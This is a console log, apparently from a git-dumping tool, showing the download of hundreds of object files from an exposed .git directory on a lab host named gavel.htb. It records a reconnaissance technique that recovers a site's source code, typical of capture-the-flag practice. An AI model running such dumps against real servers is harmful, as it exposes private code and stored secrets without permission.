[-] Fetching http://gavel.htb/.git/objects/6b/ec2e0c1cd02be88f38f7472f26689b94117aa3 [200]
[-] Fetching http://gavel.htb/.git/objects/6b/ee40a802a9ecec902dd66abdcb8353d9f82c90 [200]
[-] Fetching http://gavel.htb/.git/objects/6e/bf699e56c692779e06017e379a09ce441bc469 [200]
[-] Fetching http://gavel.htb/.git/objects/6e/c2a0c68acfc8666b109abbf8c9a9275b3a007a [200]
[-] Fetching http://gavel.htb/.git/objects/6e/c6d0cc311c0112b1148d2a596c256ec9783446 [200]
[-] Fetching http://gavel.htb/.git/objects/6e/e24ba1fcf605fb0512777842bfb0fe2fe707e9 [200]
[-] Fetching http://gavel.htb/.git/objects/6f/2c84f5ebcde5c3c5ad959a0e57410a677ea31d [200]
[-] Fetching http://gavel.htb/.git/objects/6f/5e41d06ec6244091dc6786fddc77ac33a41268 [200]
[-] Fetching http://gavel.htb/.git/objects/6f/8c6be9380a37dbeb9589e23908bf1a6fc330b4 [200]
[-] Fetching http://gavel.htb/.git/objects/6f/c8e856122c4f523a85c2cb55352a1a79dbedb8 [200]
[-] Fetching http://gavel.htb/.git/objects/6f/dda0d0d37440c2da74782e516a62e11b07f0fe [200]
[-] Fetching http://gavel.htb/.git/objects/6c/4f0f491807e726e38fae062e7a8e5b8d441904 [200]
[-] Fetching http://gavel.htb/.git/objects/6c/9bc85008febe664535c0bd705fc39106a4865f [200]
[-] Fetching http://gavel.htb/.git/objects/6c/426e8ffbf4284d4303e485dca9af78441d73ec [200]
[-] Fetching http://gavel.htb/.git/objects/6c/9277df12bee168e28d63624242a07e95d35bdf [200]
[-] Fetching http://gavel.htb/.git/objects/6c/3578433185235c412f7dc08d6b4206026bd852 [200]
[-] Fetching http://gavel.htb/.git/objects/6c/a3b1fafdd684bdac7a214248d4be8246803f05 [200]
[-] Fetching http://gavel.htb/.git/objects/6c/b8461ab7cffc18af6f2571b7eb031f9ace5223 [200]
[-] Fetching http://gavel.htb/.git/objects/6d/0e12571f3a7374df6ce3353a8318ded25959dc [200]
[-] Fetching http://gavel.htb/.git/objects/6c/bb1ec6ec5bb98d8ace94cb8dec06a73e8ed7e1 [200]
[-] Fetching http://gavel.htb/.git/objects/6d/72c05225fe8676c3aad89a9f8dfcc4d7b76c12 [200]
[-] Fetching http://gavel.htb/.git/objects/6d/6869666ab61b1c79923ed1d1aed01553602e05 [200]
[-] Fetching http://gavel.htb/.git/objects/6d/8712cf0a6366b7492c31fd7c95264874ea9207 [200]
[-] Fetching http://gavel.htb/.git/objects/6d/a0f73aa350c791b132ff5778971c6e20d9fec8 [200]
[-] Fetching http://gavel.htb/.git/objects/6d/dba5f1f106651a465b344dfd1407b83e376cf6 [200]
[-] Fetching http://gavel.htb/.git/objects/6d/e20a6e3f6628d4bfd165b87c40b42adf5b64ed [200]
[-] Fetching http://gavel.htb/.git/objects/7a/002f419c80d4945ffb053609a4e992c2e94370 [200]
[-] Fetching http://gavel.htb/.git/objects/7a/198976f8fbc527160a8e26031c4248e777929d [200]
[-] Fetching http://gavel.htb/.git/objects/7a/45b2958bd1324b06fa4e6aba63ee241d3b743d [200]
[-] Fetching http://gavel.htb/.git/objects/7a/ae2e4b7427a15c0d8da91327381d04b07ff620 [200]
[-] Fetching http://gavel.htb/.git/objects/7a/14c5c8d2e62e95dd09a86e9e13d420143d8dcf [200]
[-] Fetching http://gavel.htb/.git/objects/7a/f3411f80a7dcd999e3d7dcbd2a6fe638a0ed24 [200]
[-] Fetching http://gavel.htb/.git/objects/7a/fc87fd7460968b0beb519df90332eb2f71bb56 [200]
[-] Fetching http://gavel.htb/.git/objects/7b/01842a3d6ca68b2a686044daf5d6ea9735507c [200]
[-] Fetching http://gavel.htb/.git/objects/7b/3b43b0b2f24210be092af729ad27aa1386f7d0 [200]
[-] Fetching http://gavel.htb/.git/objects/7b/7d3129bd9e8513cb21df12c4f7983af740cd12 [200]
[-] Fetching http://gavel.htb/.git/objects/7b/1d5e3acf2670ae345067c03a54349810857012 [200]
[-] Fetching http://gavel.htb/.git/objects/7b/585e40feca3701bda08ecc1dc55e4b419d597a [200]
[-] Fetching http://gavel.htb/.git/objects/7b/525a2071174d07aa1a0e21adb6b72a066e1468 [200]
[-] Fetching http://gavel.htb/.git/objects/7b/790107303e6e44ea0cc2549202c99f88bdaa3a [200]
[-] Fetching http://gavel.htb/.git/objects/7b/59180671991d1aee14575d5dd473395d50f898 [200]
[-] Fetching http://gavel.htb/.git/objects/7b/df15f0c0bb01c4d4d019fedbacf149903fc776 [200]
[-] Fetching http://gavel.htb/.git/objects/7b/fdc4357e4a3a5354536ef9f043bb1051749cb1 [200]
[-] Fetching http://gavel.htb/.git/objects/7b/eac5ab0e0f0a57e53d30adc64acb7a7c5b4fa7 [200]
[-] Fetching http://gavel.htb/.git/objects/7e/0a1e86e420c4517e3172924b5e2c4bfcb532c6 [200]
[-] Fetching http://gavel.htb/.git/objects/7e/7dd09694886b3ad62ff09a2968ab45d039ea73 [200]
[-] Fetching http://gavel.htb/.git/objects/7e/7a23d254e969b14ee8aeb4c6ce228ede2ef658 [200]
[-] Fetching http://gavel.htb/.git/objects/7e/9cbe22db91e0afe8bbdcf962ce2bc7217e950f [200]
[-] Fetching http://gavel.htb/.git/objects/7d/6fdaf387afb90c37f239437060038b7fe01781 [200]
[-] Fetching http://gavel.htb/.git/objects/7d/19e5483e1d8c72b2f851ee3394b00875bb8fb8 [200]
[-] Fetching http://gavel.htb/.git/objects/7d/8fba7a11b8c2a2f92e4490b3cd715487f33f5b [200]
[-] Fetching http://gavel.htb/.git/objects/7d/22a23c859ab03b319a374959a66f1450e1a37e [200]
[-] Fetching http://gavel.htb/.git/objects/7d/92f97fc01d39beaaab5d04df7213fea967ef08 [200]
[-] Fetching http://gavel.htb/.git/objects/7d/92b7c1bdc3d775d7f44a29396d8be31acd3934 [200]
[-] Fetching http://gavel.htb/.git/objects/7d/98c7876f735c7e6cabdfc6a52b39d0a915f22e [200]
[-] Fetching http://gavel.htb/.git/objects/7d/17041d6b9e5f13c73fbb28c87cc7a9243fc89e [200]
[-] Fetching http://gavel.htb/.git/objects/7c/3f4fd10f8a5c3115d956d315ce797048df912c [200]
[-] Fetching http://gavel.htb/.git/objects/7c/3a62c64628a50c83d226f0eac3cab9cd170f42 [200]
[-] Fetching http://gavel.htb/.git/objects/7c/94be77137a817cef8ffc5e588c69748e2d33bb [200]
[-] Fetching http://gavel.htb/.git/objects/7c/7c0e173c5be0ae113fb8fbbff994b502f0a475 [200]
[-] Fetching http://gavel.htb/.git/objects/7c/17eefaead50c18bfd1ef4fb215d06ca3216144 [200]
[-] Fetching http://gavel.htb/.git/objects/7c/ec131253f7514c98d167731d21bc1eacee06fd [200]
[-] Fetching http://gavel.htb/.git/objects/7c/1646004bd8f8b20797eb42c8d786f23153fc11 [200]
[-] Fetching http://gavel.htb/.git/objects/7f/3a7ff6c41f20af2e46e21ac21ca95738abe71d [200]
[-] Fetching http://gavel.htb/.git/objects/7f/3b6d065b0c5e2ba1ac365468cd01c6278b0fef [200]
[-] Fetching http://gavel.htb/.git/objects/7f/8a413480685b5bd1ccf59a1d8e4d51cc4ef5e9 [200]
[-] Fetching http://gavel.htb/.git/objects/7f/979387cbee6ae4bba9bd49c436c4209bbad5ca [200]
[-] Fetching http://gavel.htb/.git/objects/7f/aff415539b98c02ae65ae70fa57b79ff19b78e [200]
[-] Fetching http://gavel.htb/.git/objects/7f/cd06e5c7d20599678234fa2bc15e95a978f63d [200]
[-] Fetching http://gavel.htb/.git/objects/7f/b4a28d569c9f1de16fbf991525bdb98ac1fbd5 [200]
[-] Fetching http://gavel.htb/.git/objects/8a/9bc81f7405ffe25b4d4a5c9aab2203508d2f23 [200]
[-] Fetching http://gavel.htb/.git/objects/8a/1376c376ac8c45bbe719022ed54ae4eba8588e [200]
[-] Fetching http://gavel.htb/.git/objects/8a/9043c2bcccbb844d7079ad28f42d354a78c42a [200]
[-] Fetching http://gavel.htb/.git/objects/8a/231000e59180071421c4bfeddff777f542c302 [200]
[-] Fetching http://gavel.htb/.git/objects/8a/a5e0a1c239058d84344ef6405ba2811ec70750 [200]
[-] Fetching http://gavel.htb/.git/objects/8a/d3d4a94961bee70c5277715b64ca64448f947e [200]
[-] Fetching http://gavel.htb/.git/objects/8a/f843cccb361bbe5a99cea3e48c0431b39e5473 [200]
[-] Fetching http://gavel.htb/.git/objects/8c/0ffd193cddb9531b8e40f89ae5737882eb1f71 [200]
[-] Fetching http://gavel.htb/.git/objects/8c/087766df6746869947af9ca2daabea3816ffe5 [200]
[-] Fetching http://gavel.htb/.git/objects/8c/3c0ba9b03d36c31b3d62f1a6add7ba6cb61287 [200]
[-] Fetching http://gavel.htb/.git/objects/8c/cfbfe5925c3e6e55e6829bd263861709435152 [200]
[-] Fetching http://gavel.htb/.git/objects/8d/3aacf9ecd5efe2da598aec6d9de2f055ebf1c9 [200]
[-] Fetching http://gavel.htb/.git/objects/8c/edd05b0670d7b0781e0f5458341f5d11c7996c [200]
[-] Fetching http://gavel.htb/.git/objects/8c/d84dca329ac127f83ed5ceff85cc630fa6128b [200]
[-] Fetching http://gavel.htb/.git/objects/8d/5347a342dcf8295201360846bdfb265c452fb8 [200]
[-] Fetching http://gavel.htb/.git/objects/8d/5933925a63f247cf5c44813c54dd7f415de010 [200]
[-] Fetching http://gavel.htb/.git/objects/8d/b1b6d5cb0a77fb7d51a19f429d164a8f91ef95 [200]
[-] Fetching http://gavel.htb/.git/objects/8d/f2064aa9eac895b0276f9d7f40d157f388c40b [200]
[-] Fetching http://gavel.htb/.git/objects/8d/61129dcc3c924391bc4c51a3409a912e0a837d [200]
[-] Fetching http://gavel.htb/.git/objects/8d/fd549185499df6293e3a464af0ae0abb59faa3 [200]
[-] Fetching http://gavel.htb/.git/objects/8b/7df9f76c2c8ddaf8468d9e536bc04da761e63d [200]
[-] Fetching http://gavel.htb/.git/objects/8b/57d56f27dd36faa72f8e9ca4c80b148d1b386d [200]
[-] Fetching http://gavel.htb/.git/objects/8b/c7ae3aaa03751e9f1774a67f5ef9d1bf63041c [200]
[-] Fetching http://gavel.htb/.git/objects/8b/13f820fa1256882467ced01d3d515bbf8a1127 [200]
[-] Fetching http://gavel.htb/.git/objects/8b/cc7768c5bf66dc3e6b0c5c996dd01accbd7b2a [200]
[-] Fetching http://gavel.htb/.git/objects/8b/ce0645e9dda140d21c75911946ba235749ba61 [200]
[-] Fetching http://gavel.htb/.git/objects/8b/f6aa9bcc9d5c4799a7ec5be789e9459ffb0e7b [200]
[-] Fetching http://gavel.htb/.git/objects/8e/90af28f834c6f8ffa11c0b820b110dbec1709e [200]
[-] Fetching http://gavel.htb/.git/objects/8e/40626456676639fc6c274d262ccb024212c34f [200]
[-] Fetching http://gavel.htb/.git/objects/8e/bf33333cfd9cc589c44b39e9881d781986fccb [200]
[-] Fetching http://gavel.htb/.git/objects/8e/da018264defff52db398a770d50470f65e19ba [200]
[-] Fetching http://gavel.htb/.git/objects/8e/e7d1b7f0674b18cb81b29d2f56a1b8434ff9a8 [200]
[-] Fetching http://gavel.htb/.git/objects/8e/e7ccb794b721025caf27cac444f0049f34f276 [200]
[-] Fetching http://gavel.htb/.git/objects/8e/e997cb4125756c613a14830dc078318c4ca64a [200]
[-] Fetching http://gavel.htb/.git/objects/8e/fe2ba1332c32f2ba0e040ad1b98ec905fc41bc [200]
[-] Fetching http://gavel.htb/.git/objects/8f/3c39b08a3048da19c20ef4194b7bd8c78aad45 [200]
[-] Fetching http://gavel.htb/.git/objects/8f/8b952df795f5d5eba5ff0ffb2d849ba1a5552d [200]
[-] Fetching http://gavel.htb/.git/objects/8f/29ab476c3c92a9dc96e4734f80df78cfbaee31 [200]
[-] Fetching http://gavel.htb/.git/objects/8f/95f0e1a31bd15a617b3443bf0430552422d86c [200]
[-] Fetching http://gavel.htb/.git/objects/8f/73024a8bb875428dff420aa5e77e64f99739d2 [200]
[-] Fetching http://gavel.htb/.git/objects/8f/ad113780f8abb8425c65b5d12d31237b444133 [200]
[-] Fetching http://gavel.htb/.git/objects/8f/eeb28258995149d0f5d217b7c62c9128602759 [200]
[-] Fetching http://gavel.htb/.git/objects/8f/f979c02aebe749004f4ff3124c786390a1f6b0 [200]
[-] Fetching http://gavel.htb/.git/objects/9a/01374a02722359c994481734e95ed365d361b1 [200]
[-] Fetching http://gavel.htb/.git/objects/9a/03f1728fff7a6edead16bd264a2015ff258909 [200]
[-] Fetching http://gavel.htb/.git/objects/9a/5b75f163d93f5a32897a479a7f89c7d7291550 [200]
[-] Fetching http://gavel.htb/.git/objects/9a/5e331b67e6567c131902d256eff15f1690f53c [200]
[-] Fetching http://gavel.htb/.git/objects/9a/185998b52ee07a2b244e67034d77d402c14b64 [200]
[-] Fetching http://gavel.htb/.git/objects/9c/52afd4f825f789913f6aae2ddadb2611a2d865 [200]
[-] Fetching http://gavel.htb/.git/objects/9c/51b5ccd4af84cf595835cee78599df7c70dc24 [200]
[-] Fetching http://gavel.htb/.git/objects/9c/06603150ed3fec95a30d800921923d40f9fa59 [200]
[-] Fetching http://gavel.htb/.git/objects/9c/4f98156155ddbd52640837fa4d2a53ff482088 [200]
[-] Fetching http://gavel.htb/.git/objects/9c/1e1a63a0f15f7dbe2cfaaca1464c02fb4c1764 [200]
[-] Fetching http://gavel.htb/.git/objects/9c/52bb8219f2bcd88976eaf7b54116cc3660dc8c [200]
[-] Fetching http://gavel.htb/.git/objects/9c/204c7d55339fa3556707e80ee5a6c920afe6f3 [200]
[-] Fetching http://gavel.htb/.git/objects/9a/a3387ba496f3537a2f644cae1488e275abce2a [200]
[-] Fetching http://gavel.htb/.git/objects/9a/c2876e6eb6944abe10dc974131a06fdb0fbdbe [200]
[-] Fetching http://gavel.htb/.git/objects/9a/e861d194f5463894718ca4b7291774f479d2e6 [200]
[-] Fetching http://gavel.htb/.git/objects/9c/a2b8aa10e8cfcaec8ab8be242fa2e75f552d07 [200]
[-] Fetching http://gavel.htb/.git/objects/9c/c951070242befd690ec4a8dac9b5af6b2ed9c9 [200]
[-] Fetching http://gavel.htb/.git/objects/9c/1926ed5d8c43796a6159059bdf98dd93ed4294 [200]
[-] Fetching http://gavel.htb/.git/objects/9c/ca7427837134f037baf666b5815795768c09d7 [200]
[-] Fetching http://gavel.htb/.git/objects/9c/ad5bc3d40373044f05d1f7067d074c7dbd3c0c [200]
[-] Fetching http://gavel.htb/.git/objects/9c/dfbf08ec10bf9af12b2c5da9b5fd5181fb9f97 [200]
[-] Fetching http://gavel.htb/.git/objects/9b/049454a2cbcda456fd22400b42651ef4e450ec [200]
[-] Fetching http://gavel.htb/.git/objects/9b/54eb5be3c7051c70bbe521ffcf4fbb08838fdf [200]
[-] Fetching http://gavel.htb/.git/objects/9b/366c55c440b23f3aa1bebca9d871fefb4ef8ec [200]
[-] Fetching http://gavel.htb/.git/objects/9d/ba8c340bf81622be7b48a7a3546869bfb851d4 [200]
[-] Fetching http://gavel.htb/.git/objects/9b/756e25c7e2bbfe4e342438eb32c06ae98ba82d [200]
[-] Fetching http://gavel.htb/.git/objects/9d/53406317ff4f16e57017c550b73677522bfc88 [200]
[-] Fetching http://gavel.htb/.git/objects/9b/77572d345d89617ace4017b9ed65a312a2baf3 [200]
[-] Fetching http://gavel.htb/.git/objects/9d/be87d328a15bb89172f55c751a1c42a3affd21 [200]
[-] Fetching http://gavel.htb/.git/objects/9d/f490e8cfdd75704d31f518caf76ab34494b124 [200]
[-] Fetching http://gavel.htb/.git/objects/9e/0010f4ee2ca5bd63458b61c262dd28000a045d [200]
[-] Fetching http://gavel.htb/.git/objects/9e/8f8bad1cdda3499b2b52c717254b75b35bc0cb [200]
[-] Fetching http://gavel.htb/.git/objects/9e/2b8d43199484c7fc0a9420694a2c8b2d7a39b3 [200]
[-] Fetching http://gavel.htb/.git/objects/9b/3e4dbf5b5999b69fe129dfb98e8b492e73bd43 [200]
[-] Fetching http://gavel.htb/.git/objects/9b/5bb39ba1ea8d821ab0da290066e9791007fabd [200]
[-] Fetching http://gavel.htb/.git/objects/9e/9fa72068ac410d1c127abb1df1a2315fcf5674 [200]
[-] Fetching http://gavel.htb/.git/objects/9b/3d6a9ca86a2f2c9d8ad5ad17aee8952022a740 [200]
[-] Fetching http://gavel.htb/.git/objects/9e/4d09fb0b5798c2194acc17d62b7bb2305cefc8 [200]
[-] Fetching http://gavel.htb/.git/objects/9e/6e9371e256e0cea71d805db365f5efa5e133c0 [200]
[-] Fetching http://gavel.htb/.git/objects/9e/a560868222c3d543f2a8f8405ed1371d2549bd [200]
[-] Fetching http://gavel.htb/.git/objects/9e/95bd18327911cdb412fca67cab90ccdbd7c1bd [200]
[-] Fetching http://gavel.htb/.git/objects/9f/4d1c5b6f9781ac7d481911fa36c0f64f0259b4 [200]
[-] Fetching http://gavel.htb/.git/objects/9f/26fde03538350e750a76cf2415a62f960976af [200]
[-] Fetching http://gavel.htb/.git/objects/9f/1fb237e9aadd2e64ee16831e4b89a442c20203 [200]
[-] Fetching http://gavel.htb/.git/objects/9f/8209fe010c2ff2d0027a5c9055fa60a30567f2 [200]
[-] Fetching http://gavel.htb/.git/objects/11/5e6b941b2d08ddf9f3e3a2ae152bea2c97acd6 [200]
[-] Fetching http://gavel.htb/.git/objects/11/a977b7373dab15046354e1b27b88f29acdf44f [200]
[-] Fetching http://gavel.htb/.git/objects/11/23e558e09fe07013f73c401463828b6ac4aa35 [200]
[-] Fetching http://gavel.htb/.git/objects/11/c188196d5ade55930b7b94fc5a1dd0f6d1a800 [200]
[-] Fetching http://gavel.htb/.git/objects/11/dd73665f8ec42da859f55e92c372b11768e7f0 [200]
[-] Fetching http://gavel.htb/.git/objects/10/2b4bc76d88a0e879f0f4a407adfe08b981d5b1 [200]
[-] Fetching http://gavel.htb/.git/objects/10/4bbcf2b5b2cd51409533cdaf15861fbe86e3c8 [200]
[-] Fetching http://gavel.htb/.git/objects/10/4fe7f64b30d02fb5dba814f5afc957170feb07 [200]
[-] Fetching http://gavel.htb/.git/objects/9f/8a0944cd47a02bcf7fdb98531f9efba9bf123e [200]
[-] Fetching http://gavel.htb/.git/objects/9f/16aad431aabb8fdd762e14169f14487cec304f [200]
[-] Fetching http://gavel.htb/.git/objects/10/70e4748c5ee0c014ca8b9fc8cc6063f6ffd8e4 [200]
[-] Fetching http://gavel.htb/.git/objects/10/9439f9955f1dcc7f647d812c41a6fd58cd8014 [200]
[-] Fetching http://gavel.htb/.git/objects/12/6fb1dd3f99f62f8f55a2db1de16954a50fe4a0 [200]
[-] Fetching http://gavel.htb/.git/objects/10/e31dd7e9673c7287f2466563b750710eb45476 [200]
[-] Fetching http://gavel.htb/.git/objects/10/37930683558c0dd91770a304c03bb650c2fd36 [200]
[-] Fetching http://gavel.htb/.git/objects/12/d81d45b2c361d75a66e9af8930574eedfdcda3 [200]
[-] Fetching http://gavel.htb/.git/objects/12/9113b1579f006737279449938eed7fce32614d [200]
[-] Fetching http://gavel.htb/.git/objects/9f/30cbd7fe09a3977cd7cc2f11b65a8d6c857135 [200]
[-] Fetching http://gavel.htb/.git/objects/12/df6d28ae5865146d277454318b251589822352 [200]
[-] Fetching http://gavel.htb/.git/objects/13/0367998fec2ff269df68a152d12e93c09d9d36 [200]
[-] Fetching http://gavel.htb/.git/objects/13/9c4e9fe7c1922532081c2d4e9de2f5791e0d8b [200]
[-] Fetching http://gavel.htb/.git/objects/13/df1e63363fc9bb9966882189574522b55523e0 [200]
[-] Fetching http://gavel.htb/.git/objects/13/26f2def52ef23d7ab82bcb56ea07a974e50b30 [200]
[-] Fetching http://gavel.htb/.git/objects/14/02646a428a07650dd35b68fbe16697f915b694 [200]
[-] Fetching http://gavel.htb/.git/objects/14/9bd236f6e57118f658a4af8106622ec2366c3d [200]
[-] Fetching http://gavel.htb/.git/objects/14/3a6d8a3edf4864ac9610083e5334e0188f1c99 [200]
[-] Fetching http://gavel.htb/.git/objects/14/955b02d374d170dc6a5a8e82dc5ddb57e207f4 [200]
[-] Fetching http://gavel.htb/.git/objects/14/bed170d05a387d6545e5a235ca2b31e592110a [200]
[-] Fetching http://gavel.htb/.git/objects/15/8c4182519e6ec76b5ca4dd79c1df8481537888 [200]
[-] Fetching http://gavel.htb/.git/objects/15/4dcb4e27dfedb31bba59e5942c42342d030de2 [200]
[-] Fetching http://gavel.htb/.git/objects/15/16c196bf703884d0a6dd6ec07ea963d547c4bb [200]
[-] Fetching http://gavel.htb/.git/objects/15/6f105518bc0cb97d9fa0acab99ed3e28774303 [200]
[-] Fetching http://gavel.htb/.git/objects/14/c0d98e9123d018745bd88be3328e32d5953a51 [200]
[-] Fetching http://gavel.htb/.git/objects/15/43842e3aaf61b644b1501552f8b11ca36497b7 [200]
[-] Fetching http://gavel.htb/.git/objects/15/311cf74cd33102f9de50ec0dea12edcc5aa034 [200]
[-] Fetching http://gavel.htb/.git/objects/15/85279d973954a146eaa8b8e8672166938907c5 [200]
[-] Fetching http://gavel.htb/.git/objects/15/b4407a0a00e53b17409dde65875ed387a672d7 [200]
[-] Fetching http://gavel.htb/.git/objects/16/0702d4477d755e213b33b0fe37377147e112ac [200]
[-] Fetching http://gavel.htb/.git/objects/16/4d972193070f9e50c8641115e41b9d15e47169 [200]
[-] Fetching http://gavel.htb/.git/objects/16/54dfc247b765f13cc23789d63f676016485faa [200]
[-] Fetching http://gavel.htb/.git/objects/16/1478705a908ec7eaa132ef16976e566a613bb3 [200]
[-] Fetching http://gavel.htb/.git/objects/15/fb3dc66ddb7734a59139fe4882fa84e0a1c37b [200]
[-] Fetching http://gavel.htb/.git/objects/16/d75a8bb62eda2c5797e56ea040ba65165b1e6a [200]
[-] Fetching http://gavel.htb/.git/objects/16/b681e759194654aa0ec44b40ca7ad6b51eab5d [200]
[-] Fetching http://gavel.htb/.git/objects/16/db0811281205bbeda5cad1824587a6b415b2ed [200]
[-] Fetching http://gavel.htb/.git/objects/17/5e614ebd083d1cce83ce7883722e638a621d0f [200]
[-] Fetching http://gavel.htb/.git/objects/17/308f2ff12a4aa9e32f0d89c830a8520cfbeb61 [200]
[-] Fetching http://gavel.htb/.git/objects/16/e2aaaadbf43598a96a6caeba32a28a91a1b441 [200]
[-] Fetching http://gavel.htb/.git/objects/17/1b2b8be4c2e00d8d3d9641b6c6e3905d8c9045 [200]
[-] Fetching http://gavel.htb/.git/objects/17/aff29c1634c2b7ca35d94c6578c7894b49a2b2 [200]
[-] Fetching http://gavel.htb/.git/objects/17/c67db542ab3e45aeda65f7b751841d3bc9a3b9 [200]
[-] Fetching http://gavel.htb/.git/objects/17/9c90c674a8e4297f9e95df053bd5d83f5063c9 [200]
[-] Fetching http://gavel.htb/.git/objects/19/4d904dbcc7c33beedf1f07130368e0cfa8a8d6 [200]
[-] Fetching http://gavel.htb/.git/objects/19/7afd6c06fb72c14e9b352bad80af051dfb6b74 [200]
[-] Fetching http://gavel.htb/.git/objects/19/15b742e621a1c59f60b2e59febe307d402405a [200]
[-] Fetching http://gavel.htb/.git/objects/19/d5e49458c0eb7aed5d469fe44e558d2193ad45 [200]
[-] Fetching http://gavel.htb/.git/objects/19/babc09fbd2fe0badd09996864f19d0093a17dc [200]
[-] Fetching http://gavel.htb/.git/objects/19/cea09e48f160c03b38e4e723efce7f240a715a [200]
[-] Fetching http://gavel.htb/.git/objects/19/fc646b0aa6cb7b079a03a4df8163d028ffd607 [200]
[-] Fetching http://gavel.htb/.git/objects/18/04e169de6b7b806574dfece593bcd802052377 [200]
[-] Fetching http://gavel.htb/.git/objects/18/5ccce45b309893cd775ac05406b52bdc2a0885 [200]
[-] Fetching http://gavel.htb/.git/objects/18/44a0aeeb4374c3b2fbf1ef0dfa784b51dc3455 [200]
[-] Fetching http://gavel.htb/.git/objects/18/68faee47dd0432bd117935ed1e5fe78916d4f8 [200]
[-] Fetching http://gavel.htb/.git/objects/18/81179cf46cdb095b6f1ac69a57f3a3307d260c [200]
[-] Fetching http://gavel.htb/.git/objects/18/92399232bc6c0306a5eaf482f8deffc3116479 [200]
[-] Fetching http://gavel.htb/.git/objects/18/7056579ffc61a9eea3212d1b4bbd99655b737d [200]
[-] Fetching http://gavel.htb/.git/objects/18/a9421ab00294e671070aedb1455acfb9542940 [200]
[-] Fetching http://gavel.htb/.git/objects/18/e9b92d51098f2e278fe672afdf4ad87a13c952 [200]
[-] Fetching http://gavel.htb/.git/objects/18/ea585045f92668bbfdc185021d164a95c90ab6 [200]
[-] Fetching http://gavel.htb/.git/objects/18/bc5602b5bfc121ef4e6848a81c63ab7614c336 [200]
[-] Fetching http://gavel.htb/.git/objects/18/edc5f5352912225058f78acd38e05dc485b32f [200]
[-] Fetching http://gavel.htb/.git/objects/22/b2738be5b38e90ceb771b850b37c1bda267f66 [200]
[-] Fetching http://gavel.htb/.git/objects/21/cf78a89ca6e1df9c9ce64b0efb3bff22a2a5c6 [200]
[-] Fetching http://gavel.htb/.git/objects/20/8b8ae21a6f99b7fb2567d809953fd930a6cc84 [200]
[-] Fetching http://gavel.htb/.git/objects/21/4bb861087ee97a9469446ac7da9f5c19aac1b1 [200]
[-] Fetching http://gavel.htb/.git/objects/20/5f3fc24efaa020b7160ab38d550b5f2fe81ce7 [200]
[-] Fetching http://gavel.htb/.git/objects/20/24fa41ca0149d4bdb383ed7a4c17d756f38927 [200]
[-] Fetching http://gavel.htb/.git/objects/20/62c99964e29ae1fa835017bf0b3d5a46ab9f4b [200]
[-] Fetching http://gavel.htb/.git/objects/20/68f9de59a4123de3d7b08682fe47c8cfd4d8dd [200]
[-] Fetching http://gavel.htb/.git/objects/20/200db865b9165a6591efd59e960957f35dda5c [200]
[-] Fetching http://gavel.htb/.git/objects/20/812ab4cb54b302e5bbd219c6eaa71aed59925b [200]
[-] Fetching http://gavel.htb/.git/objects/20/4734d2861a9326d6d6a03c0235b0b10ca72e24 [200]
[-] Fetching http://gavel.htb/.git/objects/20/a807b5436942a6ab89741403c7198d913ee365 [200]
[-] Fetching http://gavel.htb/.git/objects/20/b7ed9e6b5375934ba1ad76c65fad876078ff9b [200]
[-] Fetching http://gavel.htb/.git/objects/20/b11d0841e51e1475b5eeaa7beec8ec5e0fa26d [200]
[-] Fetching http://gavel.htb/.git/objects/20/ed5c3a36c4905eee67812c6b02f3d97d3d2391 [200]
[-] Fetching http://gavel.htb/.git/objects/20/d895f44a4baccb6542d7974dd22496e3a6b9f9 [200]
[-] Fetching http://gavel.htb/.git/objects/24/4e11f403e90d0c232e54e385ca85bbeab2b277 [200]
[-] Fetching http://gavel.htb/.git/objects/24/6b019fe1c7f7824fe132203df54dfd95bf5716 [200]
[-] Fetching http://gavel.htb/.git/objects/24/8f8c6a1d5e8724429b9bc2ed1f236206011579 [200]
[-] Fetching http://gavel.htb/.git/objects/24/b7a1b737a69f053b67493d99f577e253f4b275 [200]
[-] Fetching http://gavel.htb/.git/objects/24/e6760c56a888d3efd3a0252f3897f41ff7dc81 [200]
[-] Fetching http://gavel.htb/.git/objects/23/49a6619cbde52ff38a20c020fb4ff420c353d4 [200]
[-] Fetching http://gavel.htb/.git/objects/23/0556b7a9bd78fc005cbfc5f34036e665d0fc45 [200]
[-] Fetching http://gavel.htb/.git/objects/23/277dd288ca0170b5493b86545d391e0be67330 [200]
[-] Fetching http://gavel.htb/.git/objects/23/859c3886bc064bd566db56b38fd7caa05bc4b2 [200]
[-] Fetching http://gavel.htb/.git/objects/23/a5de96be0dfd0bcbf342a67ef62b1039500a77 [200]
[-] Fetching http://gavel.htb/.git/objects/23/e0d352b413372043e4e16805e34e85311ccf92 [200]
[-] Fetching http://gavel.htb/.git/objects/23/af950c6c14bbafa6e4b20e1d1f91b2a91d425e [200]
[-] Fetching http://gavel.htb/.git/objects/24/c302cc8f755c7b1bced930d9ffed293d3adcf2 [200]
[-] Fetching http://gavel.htb/.git/objects/24/d8bbc4f8aea3acf93d5adc0d419d000a31b78a [200]
[-] Fetching http://gavel.htb/.git/objects/23/ed9db812609566015bb1f2599049d566dba229 [200]
[-] Fetching http://gavel.htb/.git/objects/26/1baafb1a96dc4f68e2a6947f63895a09dafb25 [200]
[-] Fetching http://gavel.htb/.git/objects/26/3b5c44fcebea9d09f9e5addb99915e66165986 [200]
[-] Fetching http://gavel.htb/.git/objects/26/89b1a81657816247725238a7f4b239ebe36453 [200]
[-] Fetching http://gavel.htb/.git/objects/26/8cec680dcb9eaa8143247dfa46df0058546e1f [200]
[-] Fetching http://gavel.htb/.git/objects/26/5d33fc0596576e3db80a06e89576b38bc7bd98 [200]
[-] Fetching http://gavel.htb/.git/objects/26/d58535ffb316cc509c10edaa11e0cf88f8e16a [200]
[-] Fetching http://gavel.htb/.git/objects/23/689b01a7bd06d0c03d2da168c766b10abe3f1d [200]
[-] Fetching http://gavel.htb/.git/objects/26/161959bd2d1276b7aeb2f5d0752d167a536708 [200]
[-] Fetching http://gavel.htb/.git/objects/26/a3a8838b60d1b9a1c7e995974ce986ce171814 [200]
[-] Fetching http://gavel.htb/.git/objects/26/eca57ff7d0824bf09bb1d5ff9ac2e4f06ecad2 [200]
[-] Fetching http://gavel.htb/.git/objects/25/048d62c4d7a0d4870d7def8a5a5566fb53ebc4 [200]
[-] Fetching http://gavel.htb/.git/objects/25/1cb07331902de38e84348ee57b73e7f8f79249 [200]
[-] Fetching http://gavel.htb/.git/objects/25/92f48e33501eab5d51424e884834288f4309bd [200]
[-] Fetching http://gavel.htb/.git/objects/25/39de76b2f32efe3cf046f2048d2ba354280459 [200]
[-] Fetching http://gavel.htb/.git/objects/25/2423aaa25fecf46a6c86e33da9dc5932bcf1fa [200]
[-] Fetching http://gavel.htb/.git/objects/25/bd180e41fd17abd93ae343f89ddce5a6245668 [200]
